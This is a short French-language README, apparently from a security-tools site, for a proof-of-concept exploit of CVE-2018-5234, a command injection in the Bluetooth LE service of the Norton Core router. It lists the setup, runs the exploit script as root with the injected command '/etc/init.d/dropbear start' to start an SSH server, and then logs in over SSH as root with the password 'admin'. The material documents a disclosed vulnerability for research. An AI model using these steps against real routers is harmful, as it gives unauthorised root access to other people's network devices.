Injection de commande PoC dans le service BLE du routeur WiFi sécurisé Norton Core (CVE-2018-5234)

Pour plus d'informations, lisez paper.

Pour démontrer l'exploitation, nous utiliserons :

• OS GNU/Linux ;
• Adaptateur Bluetooth USB ;
• Utilitaire BlueZ (pour tester la connexion Bluetooth).

Afin d'utiliser le script, nous devrons installer toutes les dépendances à l'avance :

$ pip install -r ./requirements.txt

Avec l'aide des utilitaires BlueZ, nous devons nous assurer que le Bluetooth est activé et fonctionne correctement.

1. Redémarrez le routeur pour donner accès à la page d'ingénierie.

2. Lancez le PoC en tant qu'utilisateur root (nécessaire pour utiliser le Bluetooth) avec la commande à exécuter comme argument :

   root@kitploit:~

   $ ./ble_norton_core.py "/etc/init.d/dropbear start"
   

   Une fois le script exécuté avec succès, nous obtenons un accès au périphérique via une connexion SSH. Nous mettons root comme utilisateur et admin comme mot de passe :

   root@kitploit:~

   $ ssh [email protected]